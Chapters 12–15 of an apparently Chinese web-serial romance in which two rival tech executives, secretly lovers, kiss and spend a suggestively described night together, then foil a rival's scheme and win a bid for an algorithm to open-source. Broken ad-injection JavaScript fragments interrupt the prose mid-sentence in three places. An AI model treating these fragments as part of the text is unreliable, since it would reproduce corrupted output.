困是真的困,大清早地赶飞机,外加中午那两个小时的劳累,后面还不得不在宴会厅里坐了一整个下午,幸亏还能趁着休息时间走出来放松一下,和商赭瓜分一下茶歇。茶歇是真的挺好吃的,路翎忍不住回忆了一下,起码每一样甜点都很符合自己的口味。 窗外是繁华的城市夜景,无数的建筑物的灯光仿佛将整个世界都照亮,路翎侧过头,在商总的侧脸上亲了一口。 等他们拖足了时间避开其他人回到房间,路总这才像是做贼心虚一样地关上房门。 他挑起商赭的下巴,仗着没有外人,刻意地作出一副调戏良家妇男的架势开口:“商总,我怎么感觉我们这样好像在偷人啊。” 屋子里灯光昏暗。 “背着所有人和路总在一起,确实是在偷人。” 商赭理直气壮地回答道。 “我看到了雁翎飞文今天出的新闻稿,你家媒体最近有往震惊体和港媒混合发展的趋势啊。” 商赭声音沙哑,他伸出手,在路翎的后颈上慢慢地按压着。 他的手上有一层茧子,是在学校时参与了帆船队以后长期训练留下的痕迹,按压在路翎的后颈上,酥酥麻麻的,不知道还以为是某种轻微的电流碰到了。 路翎感觉室内的呼吸声似乎加重了。 对方比自己高上一截,现在居然有种居高临下的俯视感。 路翎抬眼望过去,像是毫不设防地往前贴。 “呼……” 飘荡的窗帘,晦暗不明的光线无法穿透到门后这一个小小的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 角落。 视线交错,两个人同时吻上了彼此,下一秒却不幸地撞上了彼此的齿关。路翎忍不住发出了一声吃痛的抽气声:“嘶——” 有点痛,但是不影响。 眼镜框撞上了路总的鼻梁,隔着两层镜片,路翎地不满地摘下了商总的眼睛,挂在商总的衣领上。 商赭的呼吸声很重,似乎还带着一丝热意,潮湿的热气喷在路翎的脸上,他有些呼吸急促,帮路翎解开了围巾,又挂到了衣柜里面。 他们的身体贴得很近,路翎下意识地攥紧了商赭的领口,手指一个不慎就在对方的脖子上留下了红痕。 “明天、有会议。” 不怎么擅长接吻的时候要如何换气的路总有些气喘吁吁地说道。他的本意是想让商赭这家伙多少有些顾忌。 “嗯。” 他回应时语气十分淡然:“你记得穿一件高领的衣服。” 今天晚上肯定是躲不了了,商赭的衣服已经被自己拽得有点皱皱巴巴的,路翎忍不住抓挠起商赭的脖颈,试图让对方次日早上也得跟着换上一件高领的衣服。 商赭亲吻的动作并不会过于凶狠,他放慢了节奏,温柔地发起了自己的进攻,在路总的脖颈上发起第一轮的噬咬,咬出一个又一个浅浅的印记。 “唔、恩……”路翎往后仰,身体却不受控制地想要往商赭身上靠,他被亲得有些发蒙,彼此的热意都能传达到对方的身上。两个人亲得有些忘乎所以了。 小路总被压在门板上,冰冷的门板刺激着他回过神,商赭的一只手挡在路翎的脑后,防止他磕碰上去,另一只手则将路翎的双腿带到了自己的腰上,又往下滑,托住路翎的身体,就这么在他毫无防备的情况下把人直接抱了起来,带着他走到了书桌边。 书桌的空间很大,路翎在被放到了书桌上以后忽然理智回归,他急忙踢了踢商赭的大腿,示意对方自己还有工作在身。 就算要乱来起码也不能是现在。 商赭遗憾地松开手,商氏集团也同样有着积攒的公务要做。 他们都有自己的工作,不可能因为一己私欲荒废一切,商总用自己的虎牙磨了磨路总的唇角,从旁边拽了一把椅子坐到了路翎的对面。 两个人共处一室,坐到他们现在这个位置上,休息的时间总是少之又少,更何况是亲昵的时间。 路翎看底下的人交上来的报告,眼前黑了又黑。 路总前脚刚踏上飞机,后脚一群技术人员就开始在办公室鬼哭狼嚎,作为定海神针兼吉祥物的路总一走,本来能跑的某个测试中的程序瞬间崩溃乱码,急得那几个项目组的组长上报强烈要求路总回家。 雁翎没了自己就完蛋了这种现象相当危险,想到这里,路总又在办公系统里将自己的公差时间延长了三天。 不能敲自己心心念念的无人机表演的程序代码,还得看这些让人头疼的文件,路翎忽然就觉得自己的电脑蓝光有点晃眼,眼睛一转,用脚勾了勾在正对面认真办公的商赭。 他伸手推开挡在自己面前的电脑,看着商赭,语气轻松地说道:“我要去做点清热下火的东西。” 防止自己在北方没被商赭撩拨得上火,但是被公司的下属们气得嘴巴冒泡。 12. 新春座谈会12 公司员工先放在一边,路翎看着忽然打了个喷嚏的商赭,打算给对方也煮一杯凉茶。 奇怪,怎么总感觉后背忽然有点发凉。 商赭拧起了眉头,下意识看向阳台大门的位置。 玻璃门外北风呼啸,屋内开了暖气,按理来说不应该感到冷的才对。 路翎托着腮,意识到自己就这么盯着商赭的脸又发呆,不由得在心里强烈谴责起商总祸国殃民撩拨自己。 至于商总什么时候撩拨他了……那么大一个男朋友就坐在自己面前认真研究工作,这本身就是一种诱惑了! 路翎十分痛心疾首地想,自己不能再这样下去了。 被路翎眼神指责的商赭无辜地摇摇头,他什么都没干,反而是在认作工作的时候被路总不经意间反复地蹭了蹭小腿,他都没找过路翎的事呢。 他们两个人的身体被包裹在裁剪得体的西装之下,身体的每一分反应都能够通过布料的变化传达给另一个人。 商总眼神锐利,被爱人甩了一个眼刀以后自信地将这解读为情意绵绵的眼神。 两个人一时间谁都没有动弹,衣服摩擦时发出极其轻微的细响,敲在这处静谧的室内。 原本十分正式的场合一下子变得格外暧昧了起来。路翎抿住唇,忍不住又瞪了一下商赭,这才兴冲冲地起身跑到了厨房的位置。 这间套房里有一个西式的厨房,路翎在冰箱里找到了一些药材。 他把夏枯草、桑叶、菊花洗净,放到一旁的小锅里面,再加一些冰糖到水里,大概需要煮上四十分钟的时间。 书房里响起了商赭的电话铃声,他看了一眼来电,拿着手机冲路总做了个口型。 说话的人并不是姓宋的,而是今天早上那位上台讲述互联网金融的陈总。对方本来不应该会有商赭的私人电话,这背后显然还有其他人的指点。 商赭开了公放,将手机随意地搁置在桌面上,又伸出手和路总勾勾搭搭。 该说不说,他和路翎今天伪装出来的彼此敌对却是很有用。 电话那头的人对商赭先前的沉默似乎解读为了默认,又接着对商赭说道:“商总,您也知道,雁翎集团活着的情况下,整片南方的市场都不可能属于商氏集团。” 这是事实。 路翎能够以一己之力吃下南方全部的互联网市场,甚至将整个雁翎集团上下打造成铁板一块,这是其他的企业无论如何都无法做到的。所有人都无法理解雁翎集团的元老级别员工们到底为什么那么难以撬动,商业间谍安插进去以后也飞快地被对方的糖衣炮弹所腐蚀。 他的存在,对于其他想要进驻这片市场的人而言格外碍眼。 在陈总和他背后的人的认知当中,商赭显然也应该是要觊觎这片市场的,南方的互联网市场不应该被雁翎这样一个后起之秀独占。 “有句话叫做一鲸落而万物生,如果雁翎消失,那么市场的机会也会变得更多——”陈总慷慨激昂地说着。 路翎努力地按捺住自己嘴角的笑意,努力地把自己这辈子所有的烦心事全都在脑海里过了一遍,他挠了挠商赭的手心,和对方比了一个把鱼竿往上抬的手势。 鱼上钩了? 他好奇地用肢体语言比比划划,如果是常人根本看不懂路总想表达的意思,而商赭却像是和他心有灵犀一样,笃定地点了点头。 哇,现场听别人是打算怎么对付自己的,好刺激。路翎把自己的那几架无人机拿了出来,一边竖着耳朵听八卦,一边认认真真地修改手头上无人机的程序。 电脑键盘敲打时传出些微响声,电话那头的陈总却以为是自己给出的条件还没有充分地诱惑到商赭,不由得开始绞尽脑汁地构想还有什么能够说服对方的理由。 被阴暗谋划的路总则认认真真地想,如果只需要用到的只有这几台无人机的话,控制它们并不是什么困难的事情。 但当无人机的数量呈几何数倍上升以后,就不是他一个人能够解决的了。 或许还需要芯片方面的专家来帮忙,芯片……他脑海里迅速跳出一个人影。 商赭和对方说着毫无用处的废话,两边打着太极,毕竟这种事情也没有几个人会愿意去做这个被打的出头鸟。 尤其是对于商氏集团这种大体量的公司来说,贸然地就和雁翎集团对上,显然只会两败俱伤。 路翎停下了敲打键盘地动作,忍不住伸了个懒腰。落在有心之人的耳朵里面,就变成了商赭的“意动”。 “如果您实在介意,我们这边的新项目也可以由我们来打头阵,您可以养精蓄锐、以逸待劳,等雁翎集团被消耗的能量不多了以后再出手。” 这显然是冲着把整个雁翎集团都给整垮去了的。 ‘你是什么时候得罪过人家?’商赭疑惑地看了过来。 路翎摇了摇头,他对这位陈总唯一的认知就是今天早上开会时聊互联网金融的,更别提得罪对方了。 两个人有些迷惘地对视着,只听厨房那边传来了叮的一声,商赭敷衍地应了电话那头几句,对方以为商赭还要再纠结一会儿,喜气洋洋地挂断了电话,却不知道商总在电话挂了以后就自动去替路翎拿出了他熬好的凉茶。 还在为手上的程序而苦恼的路翎终于放弃思考,他快步冲过来,兴高采烈地把黑褐色液体倒在两个碗里,其中一个碗放到了商赭的面前。 路翎把准备好的糖果递给商赭。 商总没有接过糖果,只是神色里透露出些微的落寞:“好苦。路总不亲手喂给我吗?” 糖果只有一块,路翎叹了口气,拆开包装,将半块糖用牙咬住,叼着他凑到了商赭的面前。 两个人的视线相接时,仿佛有电流从彼此的眼神里传达到对方的身上,呼吸都被迫紊乱。 定力不足的商总伸出手按住路总的后脑勺,奶糖的甜味在两个人的唇齿间弥漫。 路总十分身体力行地展示了什么叫做嘴对嘴地投喂,将糖果喂给了商总,展现了非常和谐友谊的社会主义同行互帮互助精神。 路翎的一只手环在商赭的脖子上,另一只手有些紧张地拽住了对方的衣摆。 这是一个邀请。 商赭当然没有拒绝爱人的理由,他俯身上前,咬上糖果,先是慢慢地品味着糖果的甜味。 打着圈的,舌头碰在了一起又礼貌地避让,许是不满他的逃避,路翎率先咬碎了糖果。 更加浓郁的香气在口腔中爆开。 同时,路翎抬起手摘下了商赭戴着的那副金丝眼镜。 这就像 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是按下了某一个开关一样。 这也可以说是某个独属于他们之间的暗号。一旦摘下对方脸上的眼镜,就是渴望接吻的意思。 咯吱。 让人没想到的是,这颗奶糖里面包裹着的是浓郁的果酱夹心,甜味就这么蔓延到了二人的舌尖,将原本中草药略微苦涩的味道覆盖下去了些许。 原本的糖果已经化得差不多了,只剩下交织的呼吸和纠缠的唇舌。 路翎的心脏震如擂鼓,他睁着眼,呼吸有些急促,大脑里的工作分区中所有的文件都被清除得一干二净。 简直就跟被商赭植入了一个恋爱脑的木马程序一样。 北方的天有些干燥,屋内开了加湿器,路翎感觉和商赭的呼吸交错间混上了潮湿的水意。 两个人呼吸都变得格外急促。路翎忍不住依偎在商赭的身上,他跨坐在商总的大腿上,身体忍不住摇晃了起来。 久别重逢的、刻骨的、浓烈的爱意就如同藏在酒窖里到了最佳品鉴期的美酒,被打开后馥郁的香气浸润了整个房间。 期间,交错着路翎微弱而又充满潮热的呼吸声和溢出喉咙的细语声,像是被外面不停的大雪下藏匿起来的隐晦故事。 灯光再度暗下。 黑夜中唯一可以感知到的,是彼此的体温。 …… 当天晚上的工作当然没有全部完成,幸亏次日一早,两个人就在生物钟的作用下清醒了过来。 睡眼惺忪的路翎在看见了商赭的侧脸后,本能地翻身滚进对方的怀抱里面,依偎在商赭身上好一会儿,他这时候做什么都全凭本能,于是下意识地又抬起头,在商赭的下巴处恶狠狠地啃了一下。 昨天的凉茶不行,一晚上居然还是硬生生地让商赭用完了一整盒的分量。 虽然也有自己的原因……就算是太久没见面也不能这么放纵他! 一晚上下来路翎感觉自己的浑身上下都被啃完了,没有一块好肉。 商赭讨好地蹭了过来,温柔地用嘴唇碰了碰路翎的侧脸,这家伙看上去倒是神清气爽,不知道的还以为这家伙偷偷汲取了自己的精气。 ……脑子里忽然闪过了某个商赭俯下身的画面,路翎猛地摇了摇头,把不和谐的画面丢出了脑外。 好气,商赭这家伙体能到底为什么这么好,他气恼地又啃了啃商赭一口。 商赭理所当然地接受了爱人的亲吻和啃咬,用手指慢慢摩挲着路翎的嘴唇,又好心地提醒道:“我记得今天早上有一位京大教授的讲座。” 捕捉到关键词的瞬间,路翎猛地清醒了过来,他重重咬了一口就在嘴边的商赭的手指,宣泄着对对方昨天晚上某些行径的强烈不满,随即又紧张地看了一眼手机上的时间。 现在看时间还算宽裕,他飞快地洗漱了一遍,套了一件v领的蓝色羊毛衫,打底是一件白色的衬衫。 走路的时候不小心踢到了散落在地的东西,又忍不住抓了个枕头丢到商赭的脸上。 明知道今天有讲座,这家伙居然完全不克制。 路翎再好的体能此时此刻走路都有些歪歪扭扭。 照了照镜子,倒是没什么太过明显的痕迹。 换好衣服,路翎又凶巴巴地把商赭赶回了他自己的专属套间里面。 13. 新春座谈会13 酒店的餐厅可以自助也可以要求送到套房,路翎着急忙慌地离开商赭的房间,反而忘记了这么一回事。 他简单在早餐厅里对付了几口,和几位同样起晚了的同行们打了个招呼。他们的助理大都早早地起来吃了早饭,这个点还在餐厅里优哉游哉吃饭这种事情也只有大老板们才干得出来。 路总吃完了就要往宴会厅的方向走。 一旁的老总见状,急忙喊住了路翎,好心地提醒道:“路总,您是去贺教授的讲座的吧?” 路翎点点头,早上八点半唯一一场讲座就是对方所说的这位贺教授的讲座。 对方急忙又说道:“前不久才发的通知,说贺教授这个讲座原本的会议室设备遭到了损坏,临时换了一个新的。” 这方面的信息本来已经由助理们提前确认完毕并告诉路翎的,但他睡醒以后还没看过手机上的信息。 “那是往哪边走?您要不要一起?” 对方正好也有和路翎单独谈话的想法,当即殷勤地凑上前,忙不迭回应:“我姓庄,前几年和您有见过一面。” “嗯。”路总点了点头,他喉咙还有沙哑,不打算说太多,单方面听着庄老板的长篇大论。 去会议室的时间就这么几分钟,对方也不会迂回,开门见山地介绍了起来。 他打算和路翎聊的东西倒是相当简单,想要出售他们名下一家家喻户晓的搜索引擎和门户网站。 庄老板这家公司规模并不小,否则也很难被邀请到这么重要的一次大会上。 在互联网尚未发达的时候,他家的门户网站一度是同行业里的第一名,不断引领着整个行业的发展。 随着时代变迁、日活的增长,相应的租借服务器的花销也在不断提高,但此类搜索引擎的变现能力却不能够得到体现,又新增了许多的同类网站竞争,他的网站急于将手上的日活兑换成真金白银,接了大量的广告位置。 这毫无疑问是一步臭棋。 广告地出现使得原有的用户大规模流失。 愿意为广告位付费的老板们也是要看广告投放之后的变现能力的。但近几年各类杀毒软件都附带屏蔽广告功能,网页广告的价格一跌再跌,也很少有新增的广告主客户,现在的资金流已经很难继续再维持网站的正常运转。 商人说到底都还是要赚钱的,尽管庄老板对这个自己白手起家的网站寄托感情深厚,却也招架不住网站一直处于亏损的状态,其余合资人早已经计划好要将网站脱手。 只可惜现如今此类门户网站已经不是他们一家独大的天下,愿意接手的互联网企业寥寥无几,甚至大多数都开出了惊人的底价,俨然是知道庄老板所在的公司已经不堪重负的样子。 如果对方在五年前将公司抛售,或许能够实现历史最高价也说不定。 互联网行业日新月异,行业的迭代现象近乎是按了八百倍速的按键快进,许多老旧的网站早已被抛弃在时代的浪潮之下。 他们也不知道雁翎会不会看上这么一个落魄的网站,如果看上了,又会报出什么样的价格。 找到雁翎这边来显然已经属于对方的下下策。 正如庄老板所表现出来的那样,他们公司也确实已经逐渐走上了绝境。现在的大多数公司 路翎揉了揉自己的额头,思忖着,没有立刻给出自己的答案。 “我会考虑的。”路翎说着,从口袋里掏出了一张名片,上面记着的是他助理的联系方式,递给了对方。 庄老板急切地接过,将电话号码记存。 他注意到路翎走得很慢,心里揣测起来,对方大概是因为初来乍到、不熟悉这家酒店弯弯绕绕的各种岔口,偏偏这次的会议室还要先路过一个小花园才到,一路上经过的几个其他会议室起的名字都是文绉绉的,要判断具体的房间确实很麻烦。 想到这一点,庄老板当即上前一步,走在路翎的前面,以一种热情而不冒昧的方式帮他带路。 他察言观色能力极强,刚刚三两句话间已经判断出来对自己还有残存的印象,而且这个印象不会太坏。 这让他忍不住松了口气。 五年前,雁翎还只是一家小公司的时候,路翎就为了自己正在终测的游戏上下奔走。 那个时候国内的大部分网站都不愿意为游戏提供推广位置,毕竟这玩意儿对于大部分的成年人而言都是和武侠小说一样玩物丧志的东西,甚至比武侠小说更危险一点。 当时业内有一个原本火爆全国的游戏,因为玩家在特殊时期录制视频发表了不正当的言论,直接被联合抵制到查无音讯,让另一个同类型的游戏借机火爆全国。 当时的路翎还只是个大四的学生,拿着钱都没办法砸开这些互联网公司的门路。庄老板当时亲自上手过路翎的游戏,却也温和地劝退过他。 他告诉路翎,游戏做得很有趣,只是游戏行业几个月前才发生过震荡,大家都不敢再向大众吆喝自己的游戏,生怕的就是枪打出头鸟,路翎作为一个新人,最好也不要在这种时候尝试冒头。 路翎解释自己需要的广告位在奥运会召开之后。 那就更不可能了,合伙人在一旁冷嘲热讽道:“奥运会期间的所有广告费用都是翻倍的,车企大客户一条网页广告就可以到这个数,你一个游戏,随便找找小网站做点狗皮膏药的小广告得了,回不回本还不一定的事情,果然是学生……” 一番合作简单告吹。 路翎很快又找到了自己的下一个目标,在周末时坐着飞机到了另一个省市。 那边谈生意讲究的是酒桌文化,再怎么有钱,初出茅庐的小路总也只能坐在大排档里,用酒硬生生谈下了一家打算从盗版游戏资源转型做游戏资讯的网站的推广位。 五年时间过去,对方走到的位置却比已经经营网站十几年的庄老板自己曾经的巅峰还要高了。那位合伙人到现在都时不时会在公司高层聚会时止不住地长吁短叹,一副错过了抱大腿好时机的模样。 想到这里,庄老板也叹了口气,不由得在心里感慨真是长江后浪推前浪,后生当真可畏。 两个人一前一后走进了会议室,引发了全场的瞩目,不少人表面上不显,心里却开始打起了小算盘。 ——这个庄老板是怎么跟路翎搭上边的? ——按理来说庄 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 老板也应该在北方企业的势力范围内的才对。 ——好不容易快把这家伙的公司熬没了,难道雁翎要趁机插手摘桃子? 几家欢喜几家愁,路翎扫视了一眼全场。这边的会议室格局不同,最多容纳十二个人就坐在正中央,来晚了的就只能去坐最后面那排黑色的凳子。 路翎虽然来晚了,但商赭旁边的位置没人敢坐,正好“便宜”了路翎。 这位贺教授今天的座谈会主题是《关于基于中文语境的情况下通过算法对用户进行画像分析与偏好推荐的新型计算程序》。 贺教授自80年代起就深耕于国内互联网行业,当时在中关村打拼,没隔几年又应学校邀请进入北大进行教学,到现在也不过快五十岁,气质儒雅。 因为经常健身,身材也保持得不错,不会像在座的某些老板们一样身材走样。 对方开门见山,上来就先把自己的论文新的拓展方向说了出来。路翎看过对方的论文,但论文的创新方向却还是第一次知道,当即将对方提出的点一一记下。 “用营销学的理论进行分析,眼前有一位顾客在刷购物网站的时候,对同一个产品货比三家,最后选择了价格最便宜的一款产品,我们一般称之为价格敏感型顾客。” 考虑到在座的老板们的学术水平程度不一,对方努力地用最简单易懂的例子解释了一下。 “如果是在面对面的情况下,销售往往可以通过简单判断得出顾客的偏好类型,有针对性地对顾客进行推销行为。但是,在网络购买的这个过程中却很难做到这一点。在缺少了面对面的情况下,判断很容易出错。尤其是现在市面上大部分流通的偏好推荐程序设计都是以外国人作为模板,所以经常会出现判断有误、推荐有误的情况。” 台下当即有一位斥巨资向国外购买过此类程序专利的老板点了点头。 因为程序的判断逻辑不够完备,用户们差评不断,他们在使用过一段时间后又迅速地下线了对应的内容。 这种程序实际上不仅能应用在网购网站上,他还可以被配备在各类门户网站中,有针对性地对使用者进行网页推荐。 路翎的眼神微微亮起,想起刚刚庄老板向自己推销的网站,如果能够将这二者相结合也是不错的选择。 也不知道对方会开多少的价格,如果是价高者得的话……不少老板纷纷将目光投向了全场两位最有力的竞争者身上。 商赭和路翎。 毫无疑问,这两个人会是全场唯二有希望能够拿下这个程序的人。 而不管是谁拿下,都绝对不可能让给另一个人。 这可是能够领先对方的商业机密。 拿下这个程序,意味着整个互联网行业的格局都会发生翻天覆地的变化。 寂静的会议室被无形地划分为了南北两大阵营,大部分人已经默默地根据自身企业所在的地理位置站好了队伍。 商赭和路翎两个人的视线擦过对方。商总目光冷凝,路总气定神闲,浓郁的火/药味让周围的其他老板们都下意识地噤声看向了他们的方向。 这两人看上去都似乎对这个程序志在必得。 14. 新春座谈会14 会议室内只听得见贺教授一个人的演讲声音,在看似静谧的会议室内,其他人心怀鬼胎地交换着彼此的眼神,潜藏在平静水面之下。 路翎和商赭同样对视了一眼。 在有心关注他们动向的人的眼里,这无疑是针尖对麦芒、天雷勾动地火的。 昨天那个陈总的电话卡弹出了一条新的消息。 【商总,您应该也知道这个技术的价值,只要您愿意和我们共享技术,我们就愿意为商氏集团提供大量的现金。】 商赭轻笑了一声。 这人哪来的底气想用这点事情威逼利诱自己的?先前对他只是一个被放在台前的傀儡地想法果然没错。 而且这些人未免太不了解路翎了。 这个专利技术让路翎拿到实际上才是对于所有企业的最优解。 他摩挲了一下手机,没有给另一边任何的回复。 转过头时,意外地和路翎对上了视线。 两个人坐得足够近,眼瞳里倒映着彼此的面容。 毫无疑问,小路总不管花多少钱获得这个专利,都会把它对外公开。 贺教授讲解结束,让助理从自己的背包里抽出了一沓纸递给了在场的众人。 “各位可以在这张纸上写下你们的预算,以及各位在获得算法程序以后打算应用于哪方面——不用担心,这是最基础的服务要求,在竞价成功以后,我会把程序改动到符合你的需求。” 周围瞬间响起了窸窸窣窣的声音。 大家并不会在明面上讨论报价,但时不时拿起手机和窥视向商赭和路翎的眼神却依旧说明了很多。 路翎的手机不断震动,商赭的也同样如此。 商赭拿着笔,黑色的笔尖停在白纸上片刻,晕染出了一个小小的黑点。 最重要的是,商氏集团现如今也有一个同方向的研究组,与其在这里竞价,倒不如回去用奖金让员工们加快进度,在技术被公开之前用上。 路翎写下了一个对方无法拒绝的价格,然后才写下了一行字。 【雁翎会选择把这个程序开源,让所有的中国企业都能够拥有这种便捷的算法推荐。】 贺教授的学生助理替他收了纸,有资格在这上面开价的人不过十几个,大部分人尽管知道自己已经毫无可能,却依旧写下了自己的预算价格。 说不定这漏就被自己捡上了呢。 学生翻阅着手上的白纸,在看过一连串的高价以后,骤然看到一个只有一个句号的报价,下意识地顿住了手。 他是按照座位顺序收的,这是那位商总提交的预算没错,可上面的内容却让他怀疑自己是不是拿的时候没注意,导致商总的报价条被人私自调换了。 对方写了一个句号,这是什么意思? 贺教授注意到助理的停顿,侧身看了过来。作为这个方向的领头者,他倒是有听说过不少的风声,早前商氏集团也曾经对他抛出过橄榄枝,现在不报价,大概是他们的项目组也已经到了收尾阶段。 一旁的助理面露诧异,又很快恢复了镇定。 周围的老总们目睹了他们二人的表情变化,不由得揣测起其中的缘由。 难道是商总和路总彼此都报出了一个可怕的高价吗? 贺教授此时已经替助理翻到了下一张纸条上,他的目光落在路翎的承诺上,眸色微深。 所有的报价一一翻完,雁翎集团的报价是最高的,也是最符合贺教授本人心意的。 “路总,有空的话等会议结束以后单独聊聊?” 言下之意,对方估计就是要拍板把程序算法卖给雁翎了。 果然有钱就是好啊。知道雁翎集团底细的人纷纷幽怨地想到,这年头当收租佬啷个多钱的吗?眼睛都不带眨一下?刚刚也没见他回复短信消息啊。 雁翎集团一定开了一个对方无法拒绝的价格吧。 在场的众人纷纷叹了口气,他们没有捡上这个漏倒也不是什么意外的事情,不过同样参与了竞争却没有抢到的商氏集团估计会憋着一股气吧? 依照这两家公司的竞争激烈程度,几位老板们毫不怀疑,商赭现在肯定是按捺住自己的怒火。 这些投注到商赭身上的视线明晃晃地表达了人类对八卦的渴望和某些人拱火的意图。 陈总那边继续发来消息,商赭却懒得再看。 这种毫无自知之明的竞争对手,对方此时此刻能够和自己出现在同一张桌子上,也都是因为他背后的人撑腰,接下来还要耐心才能钓到背后的那条大鱼。 在他们视线中心,商赭慢悠悠地坐直身体,他脸上的笑容明显,在其他人眼里多少有些虚假:“路总这次可是出大血了吧,一个算法程序而已,值得吗?” 这句话听上去有点阴阳怪气,众人登时竖起了探听的小耳朵,连后方原本几个开始讨论的老板都下意识停住了自己的话头。 听这话的意思,难道是商氏集团已经拿出了最高的报价,可还是被雁翎集团压了一头? 几位北方老板惊疑不定地看向路翎,这位“初出茅庐”也才不过几年的科技新贵到底哪来那么大的现金流?也不知道对方的报价到底有多少。 路翎勾起嘴角。 他将水笔在手上转了一圈,拿下了新技术,人逢喜事精神爽,小路总看上去也比刚刚高兴得多,这会儿对着商总时表现出来的态度也没有多么的剑拔弩张。 当然,他依旧是毫不客气地展开了回击:“商总,拿不出钱可不要怪到我的头上。” 在桌子底下,路翎忍不住又踹了商赭一脚。有点像是矜贵的猫咪伸了个懒腰,用尾巴扫了扫自己的饲主……唔,这个用词在路翎的身上不太恰当,小路总可不是什么柔弱可欺的小猫。商赭努力忽略掉脑海里冒出的奇怪想法,继续在言语上和路翎打着机锋。 他刚刚那句话就突出了四个字,有钱,任性。 在普罗大众的眼中,商氏集团到底是实业起家,在随意拿钱这方面反而稍微落了下筹——毕竟那些待建的工地只要存在一天,可是无时无刻不在烧钱的。 “那就祝路总高价拿到的算法能够发挥出它应有的作用。” 大部分的企业花钱还是有预算的,今年才刚刚开了个头,对方就已经花了这么一大笔钱,有些人对路翎的大手大脚多少有些讶异,不是说今年雁翎集团有上市计划吗,现在这么快就进行了投资,难道就不怕上市以后出现什么问题? 【我刚刚看到那个教授扫了一眼你的那张就跳过了,你的报价多少?】 路翎左手大拇指点击着手机屏幕。 【我什么都没写。】 【?】 【回去解释。】 这两个人明面上兵戎相见,但背地里却在用手机给彼此发消息暗度陈仓。 “商总别着急啊。”路翎轻笑了一声,只不过语气里似乎带着些许的嘲讽,“雁翎集团接下来会考虑把这个算法程序公开给大众,如果商氏集团能够拿出我满意的报酬,你想要加入进来也是可以的。” 如果雁翎集团可以把这个程序算法售卖给商氏集团,那么当然也可以卖给他们这些企业!

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 在场的大多数老板们纷纷为之一振。 只有那几个和商氏集团自认关系不错的几位老板纷纷噤若寒蝉,一个个盯着时钟和秒表看,倒计时数着什么时候才能离开这个氛围压抑的会议室。 两位老总四目相对,整个现场没有一个人敢开口打破这份压抑,贺教授收拾了一下自己的报告材料发出的声音都是现场最大的噪音。 会议结束的时间一到,参加会议的老板们久违地像自己的学生时代那样,踩着点飞快地收拾好所有物品,逃离了这个可怕的会议室。 商赭是最后一个走的。 【我先去买做小蛋糕需要的食材。】 商总走的时候一脸冷漠,谁都不会想到他一走出门就开始给留在屋内的路总发这么日常的消息。 路翎其实以前和这位贺教授以前确实见过。 贺教授所执教的学校就在路翎的学校隔壁,两边拿着学生证串门的不在少数,路翎也曾经偷跑去隔壁大学,并且有幸听过贺教授的一节公开课。 教授开门见山地说:“你是认真的吗?开出了那么高的报价,然后算法开源,雁翎集团什么时候转行专职做慈善事业了?” “雁翎集团从创立之初实际上就一直在进行慈善事业。”路翎忍不住笑了起来,他没有列举出公司都做过什么好事,尽管脑子记得,但这些事情就算挑重要的说,坐在这里跟贺教授数上一整天估计都很难说完,“我百分百确认我是认真的。” 贺沉脸上终于浮现了今天的第一抹笑容,他冲路翎递出他刚刚去打印的合同,说道:“既然路总这么说,那么合作愉快,算法系统按照你报价的一半就可以。” 前面刚问自己是不是做慈善,转头对方自己就不要到手的钱了,路翎有些意外,他不可思议地扬起眉毛反问道:“原本报价的一半?” “对,这个价格本来就是我们实验室预期里的价格。”对方的合同里也确实白纸黑字写得清清楚楚。 可对方为什么要这么做? 路翎脑内盘算了一遍,觉得最大的可能就是对方想跳槽。 不是为了跳槽的话让利这么大干吗,总不能想让自己干什么坏事吧?还是说合同里别的地方有坑? 眼见着路翎的眼底里升起警觉,贺教授指了指合同里的一个附加条款说道:“你最好仔细看看这部分的内容。” 合同里写到雁翎集团必须保证在一年的时间内将这个算法程序推广到全国,不能藏私,否则需赔付一笔高额的违约金。 “在看到路总写的纸条以后,我就认为这个算法非你莫属,当今的互联网行业缺少的就是像你这样优秀而且不会敝帚自珍的人才。” 两个人不谋而合。 贺教授虽然是学术派的互联网人,却时时刻刻都关心着一切技术的实际应用,这个算法程序的开源无疑会加快全国上下所有互联网企业的发展。 这是他乐于见到的。 刚好,他手下有一个涉及网络安全方面的软件程序开发项目组,目前还缺一位领头的技术主管。 两个人聊得很有分寸,没有涉及工作机密的内容,只是在结束之前,路翎隐晦地提及了他手下某个团队遭遇了难题,而这个难题,又恰好是贺教授的研究方向之一。 对方若有所思地冲路翎点点头,要来了人事部门的联系方式,结束了今天的交流。 【负一楼,电梯出来。】 出了电梯,一辆看上去十分低调的小轿车停在他的面前。 他坐上车,和商赭十指相扣,头靠在了对方的肩膀上。 15. 新春座谈会15 “早上的消息,宋俶和那个陈总相谈甚欢,说是对他的项目很感兴趣。” “你觉得会是宋俶吗?” “以他的脑子很难做到这点。” 路翎闻言,靠在商赭的身上闷笑了一声。 他侧过身,咬住商总的耳朵,和对方耳鬓厮磨道:“陈总后面不管藏着的是谁,总归不会比雁翎强多少,不然也不需要这么弯弯绕绕地联系上来对付我。” 对方没有底气可以胜过雁翎集团,才会找上雁翎集团最大的对手来合作。 但与虎谋皮可不是什么轻松的事情。 哪怕商赭和路翎不是恋人关系,以对方的性格,面对这种老鼠一样藏头藏尾的敌人,也绝对不会有多么好的关系。 他在商总的耳朵上咬下一个很轻的牙印,相比起昨天晚上咬在商赭的肩膀上时的牙印浅了不少。 商总一只手揽住了路总的腰肢,另一只手托在他的身下,让路总得以跨坐在他的身上。 两个人紧贴着彼此。 车内的空调温度开得不高,吹在彼此脸上的呼吸带着些微的炙热。 这类商务车都注重隐私,前后座之间的单向玻璃挡住了一切事情的发生。 路翎忍不住把手插在商赭的头发间,这个姿势倒是显得他比商总高上了不少。 他居高临下地欣赏着自己的牙印。 前车忽然一个急刹车,司机应急地一个刹车,把路总直接拽下来靠在了自己的身上,他借机叼住了路总的喉结。 路翎下意识地做了个吞咽的动作。 商赭的舌头在喉结上微微打转,路翎下意识地揪住了商赭的衣领,喘着气说道:“聊、聊点正事,起码别在车里。” “好的。”商赭松了口,状似放过了可怜的小路总一趟,左手却十分不老实地伸到了衣服底下。 